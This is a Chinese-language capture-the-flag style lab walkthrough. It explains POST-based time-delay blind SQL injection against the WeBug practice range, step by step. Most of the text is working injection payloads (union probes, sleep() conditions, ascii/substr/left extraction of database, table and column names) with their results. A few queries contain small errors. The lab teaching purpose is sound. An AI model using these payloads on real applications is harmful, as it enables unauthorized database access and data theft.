今天来到了post注入
首先我们要明确两个问题
什么是post注入
post注入是通过对输入框进行传参,可以被带入数据库进行的查询
什么条件下可以进行post注入
1.用户可以控制传参;
2.用户输入的语句被带入数据库进行查询。
ok,开始今天的练习题:
访问靶场:
这次页面和前几关不同,明显可见有输入框。
1.寻找注入点
在输入框尝试1234,英文都没有反应
这时候我们猜测是不是搜索到了结果但是不显示,这样的话就需要特殊字符来让页面产生变化,比如报错页面之类的
在输入框输入 1’ 发现报错,然后在输入框输入 1’ # 发现页面正常返回,说明页面可能存在注入点。
2.找到注入点后尝试注入
既然它报错,那我们可以利用他报错这个特点先来探测出他列数,就用在显错注入说到的 union方法
输入 | 输出 |
---|---|
1‘ union select 1# | 页面报错 |
1’ union select 1,2# | 页面正确显示 |
1’ union select 1,2,3# | 页面报错 |
说明列数是2
根据上面的观察可以得知,搜索什么都不会显示结果,那么
1、尝试order by 显错注入不行 ,因为不会显示结果
2、布尔注入也不行,因为页面不会变化
3、延时注入可行,可通过页面打开时间来判断
接下来就让我们先试试sleep()能否行得通吧,注意:这里是post请求,所以#不必转成%23,会自动转的
输入 | 输出 |
---|---|
1’ and sleep(3)# | 页面正常显示 |
1’ or sleep(3)# | 延时 |
因为1’为假,所以要用or连接
3.利用延时注入判断数据库长度
输入 | 输出 |
---|---|
1‘ or if(length(database())>3,sleep(3),1) | 延时 |
1‘ or if(length(database())>5,sleep(3),1) | 页面正常显示 |
1‘ or if(length(database())=5,sleep(3),1) | 延时 |
说明数据库的长度为5
4.利用延时注入猜解数据库名
1' or if(ascii(substr(database(),1,1))>88,sleep(3),1)# 页面正常显示
1' or if(ascii(substr(database(),1,1))>120,sleep(3),1) # 页面正常显示
..................
1' or if(ascii(substr(database(),1,1))=119,sleep(3),1)# 延时
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w,
也可以用left函数
1' or if(left(database(),1)='w',sleep(3),1)# 延时
1' or left(database(),2)='we',sleep(3),1# 延时
...............
1' or if(left(database(),5)='webug',sleep(3),1)# 延时
说明数据库名为webug
5.利用延时注入猜解webug下表的个数
1' or if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(3),1)#
延时,说明webug下有7个表
6.利用延时注入爆出webug下的表名
首先猜解第一个表名长度
1' or if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10,sleep(3),1)#
页面没有延时,经过不断的更换length的值,最后得出第一个表名的长度是9
1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='d',sleep(3),1)#
延时,说明第一个表的第一个字符是d
1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='da',sleep(3),1)#
延时,说明第一个表的前两个字符是da,最终猜解出第一个表为data_crud
1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='en',sleep(3),1)#
延时,说明第二个表的前两个字符是en
于是可以猜解出webug下的所有表名,分别为:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test
7.利用延时注入爆出env_path表下的列
首先看下有几列
1' or if((select count(column_name) from information_schema.columns where table_name='env_list')>7,sleep(3),1)#
经过猜解,得到env_list下共有8列
猜解第一列
猜解第一列的长度:
1'or if (length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2,sleep(3),1)#
延时,说明第一列的长度是2
猜解第一列的两个字符分别是什么
1' or if(substr(select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',sleep(3),1)#
说明第一列的第一个字符是i,继续猜解得到第一列的列名是id
继续猜出所有的列名:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
因为是第四关,所以我们要得到id=4时,envFlag里的内容,也就是flag
1' or if(left((select EnvFlag from env_list where id=4),11)='dsfasdczxcg',sleep(3),1)#
延时,得到flag!